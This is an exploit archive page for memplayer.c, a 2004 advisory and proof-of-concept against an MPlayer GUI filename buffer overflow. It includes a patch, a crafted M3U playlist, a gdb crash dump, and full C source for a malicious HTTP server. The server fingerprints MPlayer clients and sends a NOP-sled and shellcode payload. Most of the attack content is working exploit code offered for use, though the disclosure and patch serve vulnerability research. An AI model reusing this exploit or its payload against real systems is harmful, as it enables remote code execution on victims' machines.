what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

memplayer.c

memplayer.c
Posted Jun 27, 2004
Authored by c0ntex

All versions of MPlayer, the movie player for Linux, are vulnerable to a buffer overflow attack that allows for privilege escalation. Local exploit included. Tested against Redhat Linux with Gnome, FreeBSD and latest cvsup plus ports with Gnome.

tags | exploit, overflow, local
systems | linux, redhat, freebsd
SHA-256 | 6850af71802ee705a1be21d2e279558327d7f8c14f4363ad429d736e33bfa329

memplayer.c

Change Mirror Download
/*
*****************************************************************************************************************
$ An open security advisory #5 - MPlayer GUI filename handling overflow
*****************************************************************************************************************
1: Bug Researcher: c0ntex@open-security.org
2: Bug Released: June 28th 2004
3: Bug Impact Rate: Medium / Hi
4: Bug Scope Rate: Remote / Local
*****************************************************************************************************************
*****************************************************************************************************************

MPlayer Media Player
https://www.mplayerhq.hu

MPlayer is a movie player for Linux (runs on many other Unices, and non-x86 CPUs, see Ports). It plays most
MPEG, VOB, AVI, OGG/OGM, VIVO, ASF/WMA/WMV, QT/MOV/MP4, FLI, RM, NuppelVideo, yuv4mpeg, FILM, RoQ, PVA,
Matroska files, supported by many native, XAnim, RealPlayer, and Win32 DLL codecs. You can watch VideoCD,
SVCD, DVD, 3ivx, RealMedia, Sorenson, Theora, and DivX movies too.

All versions of MPlayer, including the latest [MPlayer-1.0pre4] when compiled with GUI support are vulnerable
to a buffer overflow attack that will provide hostile code execution.

The MPlayer source requires explicit setting to enable the GUI, though support is enabled on a multitude of
default systems / setups, those I tested are below:

Tested OS:
Redhat Linux with Gnome
FreeBSD and latest cvsup + ports with Gnome

./MPlayer-1.0pre4/Gui/mplayer/common.c
inline void TranslateFilename( int c,char * tmp )
...
... snip
...
case STREAMTYPE_FILE:
if ( ( guiIntfStruct.Filename )&&( guiIntfStruct.Filename[0] ) )
{
if ( strrchr( guiIntfStruct.Filename,'/' ) ) strcpy( tmp,strrchr( guiIntfStruct.Filename,'/' ) + 1);
else strcpy( tmp,guiIntfStruct.Filename);
if ( tmp[strlen( tmp ) - 4] == '.' ) tmp[strlen( tmp ) - 4]=0;
if ( tmp[strlen( tmp ) - 5] == '.' ) tmp[strlen( tmp ) - 5]=0;
} else strcpy( tmp,MSGTR_NoFileLoaded );


POC fix purposes only.
[c0ntex@exploited MPlayer-1.0pre4]$ cat mplayer_gui.patch

--- Gui/mplayer/common.c 2003-03-20 12:42:09.000000000 +0000
+++ Gui-new/mplayer/common.c 2004-06-02 00:01:43.000000000 +0100
@@ -43,8 +43,8 @@
case STREAMTYPE_FILE:
if ( ( guiIntfStruct.Filename )&&( guiIntfStruct.Filename[0] ) )
{
- if ( strrchr( guiIntfStruct.Filename,'/' ) ) strcpy( tmp,strrchr( guiIntfStruct.Filename,'/' ) + 1 );
- else strcpy( tmp,guiIntfStruct.Filename );
+ if ( strrchr( guiIntfStruct.Filename,'/' ) ) strncpy( tmp,strrchr( guiIntfStruct.Filename,'/', ) + 1, 511 ); tmp[512]='\0';
+ else strncpy( tmp,guiIntfStruct.Filename, 511); tmp[512]='\0';
if ( tmp[strlen( tmp ) - 4] == '.' ) tmp[strlen( tmp ) - 4]=0;
if ( tmp[strlen( tmp ) - 5] == '.' ) tmp[strlen( tmp ) - 5]=0;
- } else strcpy( tmp,MSGTR_NoFileLoaded );
+ } else strncpy( tmp,MSGTR_NoFileLoaded, 511 ); tmp[512]='\0';

Attack choices:
1. Create my own fake HTTP listener and inject the phoney name. (Static)(POC)
2. Build my own MPEG / MP3 or other static media file and header information. (Mobile)
3. Create a media file that references another file by name. (Mobile)

Found in network.c is the following table of demux types:

extensions_table[] = {
{ "mpeg",DEMUXER_TYPE_MPEG_PS },
{ "mpg", DEMUXER_TYPE_MPEG_PS },
{ "mpe", DEMUXER_TYPE_MPEG_ES },
{ "avi", DEMUXER_TYPE_AVI },
{ "mov", DEMUXER_TYPE_MOV },
{ "qt", DEMUXER_TYPE_MOV },
{ "asx", DEMUXER_TYPE_ASF },
{ "asf", DEMUXER_TYPE_ASF },
{ "wmv", DEMUXER_TYPE_ASF },
{ "wma", DEMUXER_TYPE_ASF },
{ "viv", DEMUXER_TYPE_VIVO },
{ "rm", DEMUXER_TYPE_REAL },
{ "ra", DEMUXER_TYPE_REAL },
{ "y4m", DEMUXER_TYPE_Y4M },
{ "mp3", DEMUXER_TYPE_AUDIO },
{ "ogg", DEMUXER_TYPE_OGG },
{ "wav", DEMUXER_TYPE_AUDIO },
{ "pls", DEMUXER_TYPE_PLAYLIST },
{ "m3u", DEMUXER_TYPE_PLAYLIST }
};

of which m3u & pls playlists were used. MPlayer does not restrict the length of links for M3U playlist entries,
which is a nice feature. - .pls in the end turned out to be useless for me though. I have not checked the other
muxors, maybe with tricks like creating a large ID3 itag for mpg and the likes will be interesting...

[c0ntex@exploited MemPlayer-1.0pre4] mv test h0t_ladies.m3u

[root@darkside htdocs]# cat ./h0t_ladies.m3u
#EXTM3U
#EXTINF:0x00,Open Security Rocks - c0ntex at open-security dot org - visit https://open-security.org
mp3_stash/Open-Security Rock[s]1.mpeg
#EXTINF:0x01,Open Security Rocks - c0ntex at open-security dot org - visit https://open-security.org
mp3_stash/Open-Security Rock[s[]2.mpg
#EXTINF:0x01,Open Security Rocks - c0ntex at open-security dot org - visit https://open-security.org
mp3_stash/Open-Security Rock[s[]3.mp3
#EXTINF:0x02,Open Security Rocks - c0ntex at open-security dot org - visit https://open-security.org
mp3_stash/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[root@darkside htdocs]#

In my .m3u file, I embed 4 entries, the first three please the user with selected fine music from the Open-Security
MP3 archive, the 4th will crash MPlayer by placing the address 0x41414141 in EIP.

Edit ./mplayer.c in vi and comment out the line:

signal(SIGSEGV,exit_sighandler); // segfault

Test run:
[c0ntex@exploited MemPlayer-1.0pre4]$ ./gmplayer https://open-security.org/pr0n/h0t_ladies.m3u

Using GNU internationalization
Original domain: messages
Original dirname: /usr/share/locale
Current domain: mplayer
Current dirname: /usr/local/share/locale

MPlayer 1.0pre4-3.2.2 (C) 2000-2004 MPlayer Team
...
...
Playing https://192.168.1.1/members/secure/a/1/h0t_ladies.m3u.
Connecting to server 192.168.1.1[192.168.1.1]:80 ...
Cache size set to 8192 KBytes
Connected to server: 192.168.1.1
...
...
Playing https://192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Connecting to server 192.168.1.1[192.168.1.1]:80 ...
Server returned 404: Access Denied
Unable to open URL: https://192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Segmentation fault (core dumped)


[c0ntex@exploited MPlayer-1.0pre4]$ gdb ./gmplayer ./core.*
(gdb) i r eip esp
eip 0x41414141 0x41414141
esp 0xbfffc800 0xbfffc800
(gdb) i r
eax 0x84a3640 139081280
ecx 0x42006f24 1107324708
edx 0xff000000 -16777216
ebx 0x41414141 1094795585
esp 0xbfffc800 0xbfffc800
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
edi 0x41414141 1094795585
eip 0x41414141 0x41414141
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x33 51
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141
(gdb) x/x 0xbfffc800
0xbfffc800: 0x41414141 <--- A represents our payload.
(gdb)

Worked a treat.

---

MPlayer bug discovered 28th May 2004
MPlayer bug research completed 29th May 2004
MPlayer developers contacted 1st June 2004
MPlayer bug public release 28th June 2004

No feedback at all from MPlayer team about this though I did find a post on their newsgroup:

https://mplayerhq.hu/pipermail/mplayer-dev-eng/2004-June/026559.html

cheers
c0ntex@open-security.org
https://www.open-security.org

*/

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>


#define SUCCESS 0 /* True */
#define FAILURE 1 /* False */


#define A_BANNER "_MPlayer_MeMPlayer_Media_Mayhem_"
#define ALIGN 0 /* Stack address alignment */
#define BUFFER 544 /* Exactly overwrite EIP */
#define EIPWRT 4 /* Byte count for overwrite */
#define NOP 0x90 /* NoOp padding */
#define OFFSET 0 /* Offset from retaddr */
#define PORT 80 /* Listener port */
#define RETADDR 0xbfffcb9c /* Remote return address */
#define THREAT "MPlayer/1.0pre4-3.2.2" /* Latest vulnerable version */


#define example(OhNoo) fprintf(stderr, "Usage: ./memplayer -a <align_val> -o <offset_val>\n\n", OhNoo);
#define looking(OhYes) fprintf(stderr, "I'm looking for projects to work on, mail me if you have something\n\n", OhYes);


unsigned int i;
char payload[BUFFER];

void banner(void);
void die(char *ohnn);

int pkg_prep(int clisock_fd, int align, int offset);
int pkg_send(int clisock_fd, char *payload);
int main(int argc, char **argv);


char *http[] = {
"HTTP/1.0 200 OK\r\n",
"Date: Thu, 01 Jun 2004 12:52:15 GMT\r\n",
"Server: MemPlayer/1.0.3 (Linux)\r\n",
"MIME-version: 1.0\r\n",
"Content-Type: audio/x-mpegurl\r\n",
"Content-Length: 666\r\n",
"Connection: close\r\n",
"\r\n"
};


char *m3umuxor[] = {
"\x23\x45\x58\x54\x4D\x33\x55\r\n",
"\x23\x45\x58\x54\x49\x4E\x46\x3A"
"\x2E\x2c\x4F\x70\x65\x6E\x2D\x53"
"\x65\x63\x75\x72\x69\x74\x79\x2E"
"\x52\x6F\x63\x6B\x73\r\n",
"\r\n"
};


char opcode[] = {
0x31,0xc0,0x89,0xc3,0xb0,0x17,0xcd,0x80,0x31,0xc0,0x89,0xc3,
0xb0,0x24,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xb0,0x24,0xcd,0x80,
0x31,0xc0,0x89,0xc3,0x89,0xc1,0x89,0xc2,0xb0,0x58,0xbb,0xad,
0xde,0xe1,0xfe,0xb9,0x69,0x19,0x12,0x28,0xba,0x67,0x45,0x23,
0x01,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xfe,0xc0,0xcd,0x80
};


void
banner(void)
{
fprintf(stderr, "\n ** MPlayer_Memplayer.c - Remote exploit demo POC **\n\n");
fprintf(stderr, "[-] Uses m3u header reference to make MPlayer think it has a\n");
fprintf(stderr, "[-] valid media file then crafted package is sent, overflows\n");
fprintf(stderr, "[-] the guiIntfStruct.Filename buffer && proves exploit POC.\n");
fprintf(stderr, "[-] c0ntex@open-security.org {} https://www.open-security.org \n\n");
}


void
die(char *err_trap)
{
perror(err_trap);
fflush(stderr); _exit(1);
}


int
pkg_prep(int clisock_fd, int align, int offset)
{
unsigned int recv_chk;
long retaddr;

char chk_vuln[69];
char *pload = (char *) &opcode;


retaddr = RETADDR - offset;

fprintf(stderr, " -> Using align [%d] and offset [%d]\n", align, offset);

memset(chk_vuln, 0, sizeof(chk_vuln));

recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln) -1, 0);
chk_vuln[recv_chk+1] = '\0';

if(recv_chk == -1 || recv_chk == 0) {
fprintf(stderr, "Could not receive data from client\n");
}

if(strstr(chk_vuln, THREAT) || strstr(chk_vuln, "MPlayer/0")) {
fprintf(stderr, " -> Detected vulnerable MPlayer version\n");
}else{
fprintf(stderr, " -> Detected a non-MPlayer connection, end.\n");
close(clisock_fd);
_exit(1);
}

fprintf(stderr, " -> Payload size to send is [%d]\n", sizeof(payload));
fprintf(stderr, " -> Sending evil payload to our client\n");

memset(payload, 0, BUFFER);

for(i = (BUFFER - EIPWRT); i < BUFFER; i += 4)
*(long *)&payload[i] = retaddr;

for (i = 0; i < (BUFFER - sizeof(opcode) - 4); ++i)
*(payload + i) = NOP;

memcpy(payload + i, pload, strlen(pload));

payload[545] = 0x00;

return SUCCESS;
}


int
pkg_send(int clisock_fd, char *payload)
{

for (i = 0; i < 8; i++)
if(send(clisock_fd, http[i], strlen(http[i]), 0) == -1) {
die("Could not send HTTP header");
}fprintf(stderr, "\t- Sending valid HTTP header..\n"); sleep(1);

for (i = 0; i < 3; i++)
if(send(clisock_fd, m3umuxor[i], strlen(m3umuxor[i]), 0) == -1) {
die("Could not send m3u header");
}fprintf(stderr, "\t- Sending valid m3u header..\n"); sleep(1);

if(send(clisock_fd, payload, strlen(payload), 0) == -1) {
die("Could not send payload");
}fprintf(stderr, "\t- Sending payload package..\n");

return SUCCESS;
}


int
main(int argc, char **argv)
{
unsigned int align = 0, offset = 0, reuse = 1;
unsigned int port = PORT;
unsigned int cl_buf, opts;

signed int clisock_fd, sock_fd;

static char *exploit, *work;

struct sockaddr_in victim;
struct sockaddr_in confess;


if(argc < 2) {
banner();
example(exploit);
_exit(1);
}banner();


while((opts = getopt(argc, argv, "a:o:")) != -1) {
switch(opts)
{
case 'a':
align = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
default:
align = ALIGN;
offset = OFFSET;
}
}

if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
die("Could not create socket");
}

if(setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1) {
die("Could not re-use socket");
}

memset(&confess, 0, sizeof(confess));

confess.sin_family = AF_INET;
confess.sin_port = htons(port);
confess.sin_addr.s_addr = htonl(INADDR_ANY);

if(bind(sock_fd, (struct sockaddr *)&confess, sizeof(struct sockaddr)) == -1) {
die("Could not bind socket");
}

if(listen(sock_fd, 0) == -1) {
die("Could not listen on socket");
}

printf(" -> Listening for a connection on port %d\n", port);

cl_buf = sizeof(victim);
clisock_fd = accept(sock_fd, (struct sockaddr *)&victim, &cl_buf);

fprintf(stderr, " -> Action: Attaching from host[%s]\n", inet_ntoa(victim.sin_addr));

if(pkg_prep(clisock_fd, align, offset) == 1) {
fprintf(stderr, "Could not prep package\n");
_exit(1);
}

if(pkg_send(clisock_fd, payload) == 1) {
fprintf(stderr, "Could not send package\n");
_exit(1);
}
sleep(2);

fprintf(stderr, " -> Test complete\n\n");

close(clisock_fd); looking(work);

return SUCCESS;
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close